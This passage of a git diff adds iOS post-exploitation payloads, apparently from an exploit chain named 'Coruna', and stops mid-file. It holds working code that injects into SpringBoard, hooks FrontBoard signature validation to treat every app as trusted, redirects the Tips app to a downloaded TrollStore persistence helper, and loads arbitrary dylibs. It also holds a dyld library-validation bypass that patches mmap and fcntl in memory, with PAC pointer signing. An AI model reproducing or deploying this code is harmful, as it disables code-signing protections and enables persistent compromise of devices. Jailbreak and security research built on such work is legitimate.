"name": "__imp__semaphore_destroy", + "address": "0x48718" + }, + { + "name": "__imp__semaphore_signal", + "address": "0x48720" + }, + { + "name": "__imp__semaphore_timedwait", + "address": "0x48728" + }, + { + "name": "__imp__semaphore_wait", + "address": "0x48730" + }, + { + "name": "__imp__seteuid", + "address": "0x48738" + }, + { + "name": "__imp__setsockopt", + "address": "0x48740" + }, + { + "name": "__imp__snprintf", + "address": "0x48748" + }, + { + "name": "__imp__socket", + "address": "0x48750" + }, + { + "name": "__imp__sscanf", + "address": "0x48758" + }, + { + "name": "__imp__stat", + "address": "0x48760" + }, + { + "name": "__imp__statfs", + "address": "0x48768" + }, + { + "name": "__imp__strchr", + "address": "0x48770" + }, + { + "name": "__imp__strcmp", + "address": "0x48778" + }, + { + "name": "__imp__strcpy", + "address": "0x48780" + }, + { + "name": "__imp__strdup", + "address": "0x48788" + }, + { + "name": "__imp__strlcpy", + "address": "0x48790" + }, + { + "name": "__imp__strlen", + "address": "0x48798" + }, + { + "name": "__imp__strncmp", + "address": "0x487A0" + }, + { + "name": "__imp__strsep", + "address": "0x487A8" + }, + { + "name": "__imp__strstr", + "address": "0x487B0" + }, + { + "name": "__imp__strtol", + "address": "0x487B8" + }, + { + "name": "__imp__syscall", + "address": "0x487C0" + }, + { + "name": "__imp__sysctl", + "address": "0x487C8" + }, + { + "name": "__imp__sysctlbyname", + "address": "0x487D0" + }, + { + "name": "__imp__task_get_special_port", + "address": "0x487D8" + }, + { + "name": "__imp__task_info", + "address": "0x487E0" + }, + { + "name": "__imp__task_resume2", + "address": "0x487F0" + }, + { + "name": "__imp__task_set_special_port", + "address": "0x487F8" + }, + { + "name": "__imp__task_suspend2", + "address": "0x48800" + }, + { + "name": "__imp__task_threads", + "address": "0x48808" + }, + { + "name": "__imp__thread_create", + "address": "0x48810" + }, + { + "name": "__imp__thread_get_state", + "address": "0x48818" + }, + { + "name": "__imp__thread_policy_set", + "address": "0x48820" + }, + { + "name": "__imp__thread_resume", + "address": "0x48828" + }, + { + "name": "__imp__thread_set_exception_ports", + "address": "0x48830" + }, + { + "name": "__imp__thread_set_state", + "address": "0x48838" + }, + { + "name": "__imp__thread_suspend", + "address": "0x48840" + }, + { + "name": "__imp__thread_switch", + "address": "0x48848" + }, + { + "name": "__imp__thread_terminate", + "address": "0x48850" + }, + { + "name": "__imp__uname", + "address": "0x48858" + }, + { + "name": "__imp__unlink", + "address": "0x48860" + }, + { + "name": "__imp__unmount", + "address": "0x48868" + }, + { + "name": "__imp__usleep", + "address": "0x48870" + }, + { + "name": "__imp__uuid_is_null", + "address": "0x48878" + }, + { + "name": "__imp__vm_allocate", + "address": "0x48880" + }, + { + "name": "__imp__vm_copy", + "address": "0x48888" + }, + { + "name": "__imp__vm_deallocate", + "address": "0x48890" + }, + { + "name": "__imp__vm_map", + "address": "0x48898" + }, + { + "name": "__imp__vm_protect", + "address": "0x488A0" + }, + { + "name": "__imp__vm_read_overwrite", + "address": "0x488A8" + }, + { + "name": "__imp__vm_region_64", + "address": "0x488B0" + }, + { + "name": "__imp__vm_region_recurse_64", + "address": "0x488B8" + }, + { + "name": "__imp__vm_remap", + "address": "0x488C0" + }, + { + "name": "__imp__vm_write", + "address": "0x488C8" + }, + { + "name": "__imp__waitpid", + "address": "0x488D0" + }, + { + "name": "__imp__write", + "address": "0x488D8" + }, + { + "name": "_NDR_record", + "address": "0x488E0" + }, + { + "name": "_SANDBOX_CHECK_NO_REPORT", + "address": "0x488E8" + }, + { + "name": "__NSConcreteStackBlock", + "address": "0x488F0" + }, + { + "name": "___stack_chk_guard", + "address": "0x48900" + }, + { + "name": "__os_alloc_once_table", + "address": "0x48908" + }, + { + "name": "_bootstrap_port", + "address": "0x48910" + }, + { + "name": "_dyldVersionNumber", + "address": "0x48918" + }, + { + "name": "_mach_task_self_", + "address": "0x48920" + }, + { + "name": "_vm_page_mask", + "address": "0x48928" + }, + { + "name": "_vm_page_shift", + "address": "0x48930" + }, + { + "name": "_vm_page_size", + "address": "0x48938" + }, + { + "name": "___chkstk_darwin", + "address": "0x48940" + } +] \ No newline at end of file diff --git a/payloads/DriverWrapper/.gitignore b/payloads/DriverWrapper/.gitignore new file mode 100644 index 0000000..faf8687 --- /dev/null +++ b/payloads/DriverWrapper/.gitignore @@ -0,0 +1,3 @@ +.theos/ +packages/ +.DS_Store diff --git a/payloads/DriverWrapper/Makefile b/payloads/DriverWrapper/Makefile new file mode 100644 index 0000000..6b299ec --- /dev/null +++ b/payloads/DriverWrapper/Makefile @@ -0,0 +1,21 @@ +TARGET := iphone:clang:latest:15.0 +ARCHS = arm64 arm64e +FINALPACKAGE = 1 +STRIP = 0 +GO_EASY_ON_ME = 1 + +include $(THEOS)/makefiles/common.mk + +SUBPROJECTS += SpringBoardTweak +include $(THEOS_MAKE_PATH)/aggregate.mk + +LIBRARY_NAME = TweakLoader +TweakLoader_FILES = TweakLoader.m lv_bypass.c +TweakLoader_CFLAGS = -fno-objc-arc +TweakLoader_LDFLAGS = -sectcreate __TEXT __SBTweak $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib +TweakLoader_INSTALL_PATH = /usr/local/lib + +$(THEOS_OBJ_DIR)/TweakLoader.dylib: \ + $(THEOS_OBJ_DIR)/SpringBoardTweak.dylib + +include $(THEOS_MAKE_PATH)/library.mk diff --git a/payloads/DriverWrapper/SpringBoardTweak/Makefile b/payloads/DriverWrapper/SpringBoardTweak/Makefile new file mode 100644 index 0000000..a7e2419 --- /dev/null +++ b/payloads/DriverWrapper/SpringBoardTweak/Makefile @@ -0,0 +1,16 @@ +TARGET := iphone:clang:latest:15.0 +ARCHS = arm64 arm64e +FINALPACKAGE = 1 +STRIP = 0 +GO_EASY_ON_ME = 1 + +include $(THEOS)/makefiles/common.mk + +LIBRARY_NAME = SpringBoardTweak + +SpringBoardTweak_FILES = SpringBoardTweak.m +SpringBoardTweak_CFLAGS = -fobjc-arc +SpringBoardTweak_LDFLAGS = -undefined dynamic_lookup +SpringBoardTweak_INSTALL_PATH = /usr/local/lib + +include $(THEOS_MAKE_PATH)/library.mk diff --git a/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.h b/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.h new file mode 100644 index 0000000..56a366a --- /dev/null +++ b/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.h @@ -0,0 +1,8 @@ +@import UIKit; + +static void showAlert(NSString *title, NSString *message); + +@interface SpringBoard : UIApplication ++ (SpringBoard *)sharedApplication; +- (UIView *)statusBarForEmbeddedDisplay; +@end diff --git a/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.m b/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.m new file mode 100644 index 0000000..c0990ed --- /dev/null +++ b/payloads/DriverWrapper/SpringBoardTweak/SpringBoardTweak.m @@ -0,0 +1,259 @@ +@import UIKit; +@import UniformTypeIdentifiers; +#import "SpringBoardTweak.h" +#include +#include +#include +#include +#include +#include +#include + +#pragma mark - Status Bar Clock Tweak + +static void (*orig_applyStyleAttributes)(id self, SEL _cmd, id arg1); +static void (*orig_setText)(id self, SEL _cmd, NSString *text); + +static void hook_applyStyleAttributes(id self, SEL _cmd, id arg1) { + UILabel *label = (UILabel *)self; + if (!(label.text != nil && [label.text containsString:@":"])) { + orig_applyStyleAttributes(self, _cmd, arg1); + } +} + +static void hook_setText(id self, SEL _cmd, NSString *text) { + if ([text containsString:@":"]) { + UILabel *label = (UILabel *)self; + @autoreleasepool { + NSMutableAttributedString *finalString = [[NSMutableAttributedString alloc] init]; + + NSDateFormatter *formatter1 = [[NSDateFormatter alloc] init]; + [formatter1 setDateFormat:@"HH:mm"]; + UIFont *font1 = [UIFont systemFontOfSize:15.0 weight:UIFontWeightSemibold]; + NSAttributedString *attrString1 = [[NSAttributedString alloc] initWithString:[formatter1 stringFromDate:[NSDate date]] + attributes:@{NSFontAttributeName: font1}]; + + NSLocale *currentLocale = [NSLocale autoupdatingCurrentLocale]; + NSDateFormatter *formatter2 = [[NSDateFormatter alloc] init]; + [formatter2 setDateFormat:@"E dd/MM/yyyy"]; + [formatter2 setLocale:currentLocale]; + UIFont *font2 = [UIFont systemFontOfSize:8.0 weight:UIFontWeightRegular]; + NSAttributedString *attrString2 = [[NSAttributedString alloc] initWithString:[formatter2 stringFromDate:[NSDate date]] + attributes:@{NSFontAttributeName: font2}]; + + [finalString appendAttributedString:attrString1]; + [finalString appendAttributedString:[[NSAttributedString alloc] initWithString:@"\n"]]; + [finalString appendAttributedString:attrString2]; + + label.textAlignment = NSTextAlignmentCenter; + label.numberOfLines = 2; + label.attributedText = finalString; + } + } else { + orig_setText(self, _cmd, text); + } +} + +static void hookStatusBarClass(Class cls) { + if (!cls) return; + + Method m1 = class_getInstanceMethod(cls, @selector(applyStyleAttributes:)); + if (m1) { + orig_applyStyleAttributes = (void *)method_getImplementation(m1); + method_setImplementation(m1, (IMP)hook_applyStyleAttributes); + } + + Method m2 = class_getInstanceMethod(cls, @selector(setText:)); + if (m2) { + orig_setText = (void *)method_getImplementation(m2); + method_setImplementation(m2, (IMP)hook_setText); + } +} + +static void initStatusBarTweak(void) { + // iOS 17+: STUIStatusBarStringView (StatusBarUI framework) + Class cls17 = objc_getClass("STUIStatusBarStringView"); + // iOS 16: _UIStatusBarStringView (UIKit private) + Class cls16 = objc_getClass("_UIStatusBarStringView"); + + if (cls17) hookStatusBarClass(cls17); + if (cls16) hookStatusBarClass(cls16); +} + +#pragma mark - Status Bar gesture + +@implementation SpringBoard(Hook) ++ (SpringBoard *)sharedApplication { + return (id)UIApplication.sharedApplication; +} +- (void)initStatusBarGesture { + [self.statusBarForEmbeddedDisplay addGestureRecognizer:[[UILongPressGestureRecognizer alloc] + initWithTarget:self action:@selector(statusBarLongPressed:) + ]]; +} + +- (void)showInjectedAlert { + UIAlertController *alert = [UIAlertController alertControllerWithTitle:@"Coruna" + message:@"SpringBoard is pwned. Long-press on the status bar to activate this menu." preferredStyle:UIAlertControllerStyleAlert]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Install TrollStore helper to Tips" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + NSString *hp = @"/tmp/PersistenceHelper_Embedded"; + if ([[NSFileManager defaultManager] fileExistsAtPath:hp]) { + showAlert(@"Ready", @"PersistenceHelper is at /tmp/.\nNow open Tips app - it will launch PersistenceHelper instead!"); + } else { + showAlert(@"Downloading...", @"PersistenceHelper is being downloaded. Wait a moment and try again."); + } + }]]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Enable Status Bar Tweak" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + initStatusBarTweak(); + showAlert(@"Done", @"Status bar tweak enabled!\nLock and unlock your device for it to take effect."); + }]]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Load .dylib tweak" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + UIDocumentPickerViewController *documentPickerVC = [[UIDocumentPickerViewController alloc] + initForOpeningContentTypes:@[[UTType typeWithFilenameExtension:@"dylib" conformingToType:UTTypeData]] + asCopy:NO]; + documentPickerVC.allowsMultipleSelection = YES; + documentPickerVC.delegate = (id)self; + [SpringBoard.viewControllerToPresent presentViewController:documentPickerVC animated:YES completion:nil]; + }]]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Activate FLEX" + style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) { + Class flexManagerClass = NSClassFromString(@"FLEXManager"); + if (flexManagerClass) { + id sharedManager = [flexManagerClass valueForKey:@"sharedManager"]; + [sharedManager performSelector:@selector(showExplorer)]; + } else { + showAlert(@"Error", @"FLEXManager not found. Please load libFLEX.dylib first"); + } + }]]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Respring (will remove inject)" + style:UIAlertActionStyleDestructive handler:^(UIAlertAction *action) { + exit(0); + }]]; + + [alert addAction:[UIAlertAction actionWithTitle:@"Cancel" + style:UIAlertActionStyleCancel handler:nil]]; + + [SpringBoard.viewControllerToPresent presentViewController:alert animated:YES completion:nil]; +} +// Document picker delegate +- (void)documentPicker:(UIDocumentPickerViewController *)controller didPickDocumentsAtURLs:(NSArray *)urls { + if (urls.count <= 0) return; + NSString *log = @""; + for (NSURL *url in urls) { + NSString *path = url.path; + log = [log stringByAppendingFormat:@"Load %@:", path.lastPathComponent]; + //if (![[NSFileManager defaultManager] fileExistsAtPath:path]) return; + void *handle = dlopen(path.UTF8String, RTLD_NOW); + if (handle) { + log = [log stringByAppendingString:@" Success!\n"]; + } else { + log = [log stringByAppendingFormat:@" Failed: %s\n", dlerror()]; + } + } + showAlert(@"Result", log); +} + +- (void)statusBarLongPressed:(UILongPressGestureRecognizer *)gesture { + if (gesture.state == UIGestureRecognizerStateBegan) { + [self showInjectedAlert]; + } +} + ++ (UIViewController *)viewControllerToPresent { + UIViewController *root = UIApplication.sharedApplication.keyWindow.rootViewController; + while (root.presentedViewController) root = root.presentedViewController; + return root; +} +@end + +#pragma mark - FrontBoard Trust Bypass (AppSync-like) + +static IMP orig_trustStateForApplication = NULL; +static NSUInteger hook_trustStateForApplication(id self, SEL _cmd, id application) { + return 8; // Always trusted (iOS 14+) +} + +static void initFrontBoardBypass(void) { + Class cls = objc_getClass("FBSSignatureValidationService"); + if (cls) { + Method m = class_getInstanceMethod(cls, @selector(trustStateForApplication:)); + if (m) { + orig_trustStateForApplication = method_getImplementation(m); + method_setImplementation(m, (IMP)hook_trustStateForApplication); + } + } +} + +#pragma mark - RBSLaunchContext Hook (Tips -> PersistenceHelper) + +@interface RBSLaunchContext : NSObject +@property (nonatomic, copy, readonly) NSString *bundleIdentifier; +@end +@implementation RBSLaunchContext(Hook) +- (NSString *)_overrideExecutablePath { + if([self.bundleIdentifier isEqualToString:@"com.apple.tips"]) { + return @"/tmp/PersistenceHelper_Embedded"; + } + return nil; +} +@end + +#pragma mark - Helpers + +void showAlert(NSString *title, NSString *message) { + UIAlertController *a = [UIAlertController alertControllerWithTitle:title message:message preferredStyle:UIAlertControllerStyleAlert]; + [a addAction:[UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil]]; + [SpringBoard.viewControllerToPresent presentViewController:a animated:YES completion:nil]; +} + +static NSData *downloadFile(NSString *urlString) { + NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:urlString] + cachePolicy:NSURLRequestReloadIgnoringLocalCacheData + timeoutInterval:60]; + __block NSData *downloadedData = nil; + dispatch_semaphore_t sem = dispatch_semaphore_create(0); + NSURLSessionDataTask *task = [[NSURLSession sharedSession] dataTaskWithRequest:request + completionHandler:^(NSData *data, NSURLResponse *response, NSError *error) { + downloadedData = data; + dispatch_semaphore_signal(sem); + }]; + [task resume]; + dispatch_semaphore_wait(sem, DISPATCH_TIME_FOREVER); + return downloadedData; +} + +#pragma mark - Constructor + +__attribute__((constructor)) static void init() { + initFrontBoardBypass(); + // Auto-enable status bar tweak on load (works on both iOS 16 and 17) + initStatusBarTweak(); + // Add long press gesture to status bar + [SpringBoard.sharedApplication initStatusBarGesture]; + + // Auto-download PersistenceHelper to /tmp if not present + NSString *helperPath = @"/tmp/PersistenceHelper_Embedded"; + if (![[NSFileManager defaultManager] fileExistsAtPath:helperPath]) { + dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{ + NSString *url = @"https://github.com/opa334/TrollStore/releases/download/2.1/PersistenceHelper_Embedded"; + NSData *data = downloadFile(url); + if (data && data.length > 0) { + [data writeToFile:helperPath atomically:YES]; + chmod(helperPath.UTF8String, 0755); + } + }); + } + + dispatch_async(dispatch_get_main_queue(), ^{ + // Show alert on load + [SpringBoard.sharedApplication showInjectedAlert]; + }); +} diff --git a/payloads/DriverWrapper/TweakLoader.m b/payloads/DriverWrapper/TweakLoader.m new file mode 100644 index 0000000..1ec93f5 --- /dev/null +++ b/payloads/DriverWrapper/TweakLoader.m @@ -0,0 +1,79 @@ +@import Darwin; +@import MachO; +#include /* _mh_dylib_header */ + +// Function pointers +extern pthread_t pthread_main_thread_np(void); +extern void _pthread_set_self(pthread_t p); +void (*_abort)(void); +int (*_close)(int); +void* (*_dlsym)(void *, const char *); +uint8_t* (*_getsectiondata)(const struct mach_header_64 *, const char *, const char *, unsigned long *); +thread_t (*_mach_thread_self)(void); +int (*_open)(const char *, int, ...); +void (*__pthread_set_self)(pthread_t p); +pthread_t (*_pthread_main_thread_np)(void); +int (*_strncmp)(const char *s1, const char *s2, size_t n); +kern_return_t (*_thread_terminate)(mach_port_t); +int (*_write)(int, const void *, size_t); + +int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), const char *next_stage_dylib_path); + +void save_section_to_file(const char *section, const char *path) { + size_t dylib_size = 0; + const char *dylib = (const char *)_getsectiondata((struct mach_header_64 *)&_mh_dylib_header, "__TEXT", section, &dylib_size); + if (!dylib || dylib_size == 0) return; + int fd = _open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); + if (fd < 0) return; + _write(fd, dylib, dylib_size); + _close(fd); +} + +const char *save_actual_dylib(void) { + const char *path = "/tmp/actual.dylib"; + save_section_to_file("__SBTweak", path); + return path; +} + +#if __arm64e__ +__attribute__((noinline)) void *pacia(void* ptr, uint64_t ctx) { + __asm__("xpaci %[value]\n" : [value] "+r"(ptr)); + __asm__("pacia %0, %1" : "+r"(ptr) : "r"(ctx)); + return ptr; +} +#endif + +// Entry point when loaded by Coruna +int last(void) { +#if __arm64e__ + _dlsym = pacia(dlsym, 0); + __pthread_set_self = pacia(_pthread_set_self, 0); + _pthread_main_thread_np = pacia(pthread_main_thread_np, 0); +#else + _dlsym = dlsym; + __pthread_set_self = _pthread_set_self; + _pthread_main_thread_np = pthread_main_thread_np; +#endif + __pthread_set_self(_pthread_main_thread_np()); + + _abort = _dlsym(RTLD_DEFAULT, "abort"); + _close = _dlsym(RTLD_DEFAULT, "close"); + _getsectiondata = _dlsym(RTLD_DEFAULT, "getsectiondata"); + _mach_thread_self = _dlsym(RTLD_DEFAULT, "mach_thread_self"); + _open = _dlsym(RTLD_DEFAULT, "open"); + _strncmp = _dlsym(RTLD_DEFAULT, "strncmp"); + _thread_terminate = _dlsym(RTLD_DEFAULT, "thread_terminate"); + _write = _dlsym(RTLD_DEFAULT, "write"); + + // setup dyld validation bypass + const char *path = save_actual_dylib(); + dyld_lv_bypass_init(_dlsym, path); + + // should not return + _thread_terminate(_mach_thread_self()); + return 0; +} +int end(void) { + // should never be called + return 0; +} diff --git a/payloads/DriverWrapper/control b/payloads/DriverWrapper/control new file mode 100644 index 0000000..a008b81 --- /dev/null +++ b/payloads/DriverWrapper/control @@ -0,0 +1,9 @@ +Package: com.yourcompany.TweakLoader +Name: TweakLoader +Version: 0.0.1 +Architecture: iphoneos-arm +Description: An awesome library of some sort!! +Maintainer: khanhduytran0 +Author: khanhduytran0 +Section: System +Tag: role::developer diff --git a/payloads/DriverWrapper/lv_bypass.c b/payloads/DriverWrapper/lv_bypass.c new file mode 100644 index 0000000..299e6c1 --- /dev/null +++ b/payloads/DriverWrapper/lv_bypass.c @@ -0,0 +1,277 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +#define ASM(...) __asm__(#__VA_ARGS__) +// ldr x8, value; br x8; value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" +static const char patch[] = {0x88,0x00,0x00,0x58,0x00,0x01,0x1f,0xd6,0x1f,0x20,0x03,0xd5,0x1f,0x20,0x03,0xd5,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41}; + +// Signatures to search for +static const char mmapSig[] = {0xB0, 0x18, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char fcntlSig[] = {0x90, 0x0B, 0x80, 0xD2, 0x01, 0x10, 0x00, 0xD4}; +static const char syscallSig[] = {0x01, 0x10, 0x00, 0xD4}; +static int (*orig_fcntl)(int fildes, int cmd, void *param) = 0; + +static void (*next_exit)(int); +static int (*_printf)(const char *s, ...); +static int (*_mprotect)(void*, size_t, int); +static int (*_munmap)(void*, size_t); +static void* (*__mmap)(void *addr, size_t len, int prot, int flags, int fd, off_t offset); +static int (*__fcntl)(int fildes, int cmd, void* param); +static void* (*_dlopen)(const char* path, int mode); +const char * (*_dlerror)(void); + +static kern_return_t (*_task_info)(task_name_t target_task, task_flavor_t flavor, + task_info_t task_info_out, + mach_msg_type_number_t *task_info_outCnt); +static mach_port_t _mach_task_self_; + +kern_return_t builtin_vm_protect(mach_port_name_t task, mach_vm_address_t address, mach_vm_size_t size, boolean_t set_max, vm_prot_t new_prot); +static void init_bypassDyldLibValidation(void); + +void* dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), + const char *next_stage_dylib_path) +{ + _printf = _dlsym(RTLD_DEFAULT, "printf"); + if (!_printf) + return -0x41414141; + + __fcntl = _dlsym(RTLD_DEFAULT, "__fcntl"); + if (!__fcntl) + return -0x41414142; + + __mmap = _dlsym(RTLD_DEFAULT, "__mmap"); + if (!__mmap) + return -0x41414143; + + _task_info = _dlsym(RTLD_DEFAULT, "task_info"); + if (!_task_info) + return -0x41414144; + + mach_port_t *portp = _dlsym(RTLD_DEFAULT, "mach_task_self_"); + if (!portp) + return -0x41414145; + + _mach_task_self_ = *portp; + + _dlopen = _dlsym(RTLD_DEFAULT, "dlopen"); + if (!_dlopen) + return -0x41414146; + + _dlerror = _dlsym(RTLD_DEFAULT, "dlerror"); + if (!_dlerror) + return -0x41414147; + + _munmap = _dlsym(RTLD_DEFAULT, "munmap"); + if (!_dlerror) + return -0x41414148; + + _mprotect = _dlsym(RTLD_DEFAULT, "mprotect"); + if (!_dlerror) + return -0x41414149; + + next_exit = _dlsym(RTLD_DEFAULT, "exit"); + if (!next_exit) + return -0x41414150; + + init_bypassDyldLibValidation(); + + _printf("[DyldLVBypass] dlopen %s\n", next_stage_dylib_path); + + void *next_stage = _dlopen(next_stage_dylib_path, RTLD_NOW); + if (!next_stage) { + _printf("%s\n", _dlerror()); + return -0x41414160; + } + + _printf("[DyldLVBypass] dlopen OK\n", next_stage_dylib_path); + +// int (*next_stage_main)() = _dlsym(next_stage, "next_stage_main"); +// if (!next_stage_main) { +// _printf("%s\n", _dlerror()); +// return -0x41414161; +// } + +// _printf("[DyldLVBypass] jumping to next stage\n", next_stage_dylib_path); +// next_exit(next_stage_main()); + + return next_stage; +} + +static int builtin_memcmp(const void *s1, const void *s2, size_t n) +{ + const unsigned char *p1 = (const unsigned char *)s1; + const unsigned char *p2 = (const unsigned char *)s2; + + while (n--) { + if (*p1 != *p2) { + return *p1 - *p2; + } + + ++p1; + ++p2; + } + + return 0; +} + +static struct dyld_all_image_infos *_alt_dyld_get_all_image_infos(void) { + static struct dyld_all_image_infos *result; + if (result) { + return result; + } + struct task_dyld_info dyld_info; + mach_vm_address_t image_infos; + mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; + kern_return_t ret; + ret = _task_info(_mach_task_self_, + TASK_DYLD_INFO, + (task_info_t)&dyld_info, + &count); + if (ret != KERN_SUCCESS) { + return NULL; + } + image_infos = dyld_info.all_image_info_addr; + result = (struct dyld_all_image_infos *)image_infos; + return result; +} + +// Since we're patching libsystem_kernel, we must avoid calling to its functions +static void builtin_memcpy(char *target, const char *source, size_t size) { + for (int i = 0; i < size; i++) { + target[i] = source[i]; + } +} + +// Originated from _kernelrpc_mach_vm_protect_trap +ASM( +.global _builtin_vm_protect \n +_builtin_vm_protect: \n + mov x16, #-0xe \n + svc #0x80 \n + ret +); + +static bool redirectFunction(char *name, void *patchAddr, void *target) { + kern_return_t kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RW) fails at line %d\n", __LINE__); + return FALSE; + } + + builtin_memcpy((char *)patchAddr, patch, sizeof(patch)); +#if __arm64e__ + *(void **)((char*)patchAddr + 16) = __builtin_ptrauth_strip(target, 0); +#else + *(void **)((char*)patchAddr + 16) = target; +#endif + + kret = builtin_vm_protect(_mach_task_self_, (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); + if (kret != KERN_SUCCESS) { + _printf("[DyldLVBypass] vm_protect(RX) fails at line %d", __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] hook %s(%p) succeed!\n", name, patchAddr); + return TRUE; +} + +static bool searchAndPatch(char *name, char *base, const char *signature, int length, void *target) { + char *patchAddr = NULL; + for(int i=0; i < 0x80000; i+=4) { + if (base[i] == signature[0] && builtin_memcmp(base+i, signature, length) == 0) { + patchAddr = base + i; + break; + } + } + + if (patchAddr == NULL) { + _printf("[DyldLVBypass] hook %s fails line %d\n", name, __LINE__); + return FALSE; + } + + _printf("[DyldLVBypass] found %s at %p\n", name, patchAddr); + return redirectFunction(name, patchAddr, target); +} + +static void* hooked_mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { + void *map = __mmap(addr, len, prot, flags, fd, offset); + if (map == MAP_FAILED && fd && (prot & PROT_EXEC)) { + map = __mmap(addr, len, PROT_READ | PROT_WRITE, flags | MAP_PRIVATE | MAP_ANON, 0, 0); + void *memoryLoadedFile = __mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, offset); + builtin_memcpy(map, memoryLoadedFile, len); + _munmap(memoryLoadedFile, len); + _mprotect(map, len, prot); + } + return map; +} + +static int hooked___fcntl(int fildes, int cmd, void *param) { + if (cmd == F_ADDFILESIGS_RETURN) { +#if !(TARGET_OS_MACCATALYST || TARGET_OS_SIMULATOR) + // attempt to attach code signature on iOS only as the binaries may have been signed + // on macOS, attaching on unsigned binaries without CS_DEBUGGED will crash + orig_fcntl(fildes, cmd, param); +#endif + fsignatures_t *fsig = (fsignatures_t*)param; + // called to check that cert covers file.. so we'll make it cover everything ;) + fsig->fs_file_start = 0xFFFFFFFF; + return 0; + } + + // Signature sanity check by dyld + else if (cmd == F_CHECK_LV) { + orig_fcntl(fildes, cmd, param); + // Just say everything is fine + return 0; + } + + // If for another command or file, we pass through + return orig_fcntl(fildes, cmd, param); +} + +static void init_bypassDyldLibValidation(void) { + _printf("[DyldLVBypass] init\n"); + + // Modifying exec page during execution may cause SIGBUS, so ignore it now + // Only comment this out if only one thread (main) is running + //signal(SIGBUS, SIG_IGN); + + orig_fcntl = __fcntl; + char *dyldBase = (char *)_alt_dyld_get_all_image_infos()->dyldImageLoadAddress; + //redirectFunction("mmap", mmap, hooked_mmap); + //redirectFunction("fcntl", fcntl, hooked_fcntl); + searchAndPatch("dyld_mmap", dyldBase, mmapSig, sizeof(mmapSig), hooked_mmap); + bool fcntlPatchSuccess = searchAndPatch("dyld_fcntl", dyldBase, fcntlSig, sizeof(fcntlSig), hooked___fcntl); + + // dopamine already hooked it, try to find its hook instead + if(!fcntlPatchSuccess) { + char* fcntlAddr = 0; + // search all syscalls and see if the the instruction before it is a branch instruction + for(int i=0; i < 0x80000; i+=4) { + if (dyldBase[i] == syscallSig[0] && builtin_memcmp(dyldBase+i, syscallSig, 4) == 0) { + char* syscallAddr = dyldBase + i; + uint32_t* prev = (uint32_t*)(syscallAddr - 4); + if(*prev >> 26 == 0x5) { + fcntlAddr = (char*)prev; + break; + } + } + } + + if(fcntlAddr) { + uint32_t* inst = (uint32_t*)fcntlAddr; + int32_t offset = ((int32_t)((*inst)<<6))>>4; + _printf("[DyldLVBypass] Dopamine hook offset = %x\n", offset); + orig_fcntl = (void*)((char*)fcntlAddr + offset); + redirectFunction("dyld_fcntl (Dopamine)", fcntlAddr, hooked___fcntl); + } else { + _printf("[DyldLVBypass] Dopamine hook not found\n"); + } + } +} diff --git a/src/DriverWrapper/.gitignore b/src/DriverWrapper/.gitignore new file mode 100644 index 0000000..faf8687 --- /dev/null +++ b/src/DriverWrapper/.gitignore @@ -0,0 +1,3 @@ +.theos/ +packages/ +.DS_Store diff --git a/src/DriverWrapper/DriverWrapper.m b/src/DriverWrapper/DriverWrapper.m new file mode 100644 index 0000000..58797d0 --- /dev/null +++ b/src/DriverWrapper/DriverWrapper.m @@ -0,0 +1,80 @@ +@import Darwin; +@import MachO; +#include /* _mh_dylib_header */ + +// Function pointers +extern pthread_t pthread_main_thread_np(void); +extern void _pthread_set_self(pthread_t p); +void (*_abort)(void); +int (*_close)(int); +void* (*_dlsym)(void *, const char *); +void* (*_dlopen)(const char* path, int mode); +const char* (*_dlerror)(void); +uint8_t* (*_getsectiondata)(const struct mach_header_64 *, const char *, const char *, unsigned long *); +thread_t (*_mach_thread_self)(void); +int (*_open)(const char *, int, ...); +void (*__pthread_set_self)(pthread_t p); +pthread_t (*_pthread_main_thread_np)(void); +int (*_strncmp)(const char *s1, const char *s2, size_t n); +kern_return_t (*_thread_terminate)(mach_port_t); +int (*_write)(int, const void *, size_t); + +int dyld_lv_bypass_init(void * (*_dlsym)(void* handle, const char* symbol), const char *next_stage_dylib_path); + +void save_section_to_file(const char *section, const char *path) { + size_t dylib_size = 0; + const char *dylib = (const char *)_getsectiondata((struct mach_header_64 *)&_mh_dylib_header, "__TEXT", section, &dylib_size); + if (!dylib || dylib_size == 0) return; + int fd = _open(path, O_CREAT | O_WRONLY | O_TRUNC, 0644); + if (fd < 0) return; + _write(fd, dylib, dylib_size); + _close(fd); +} + +const char *save_actual_dylib(void) { + char path[PATH_MAX]; + snprintf(path, PATH_MAX, "%s/actual.dylib", getenv("TMPDIR")); + save_section_to_file("__SBTweak", path); + return path; +} + +#if __arm64e__ +__attribute__((noinline)) void *pacia(void* ptr, uint64_t ctx) { + __asm__("xpaci %[value]\n" : [value] "+r"(ptr)); + __asm__("pacia %0, 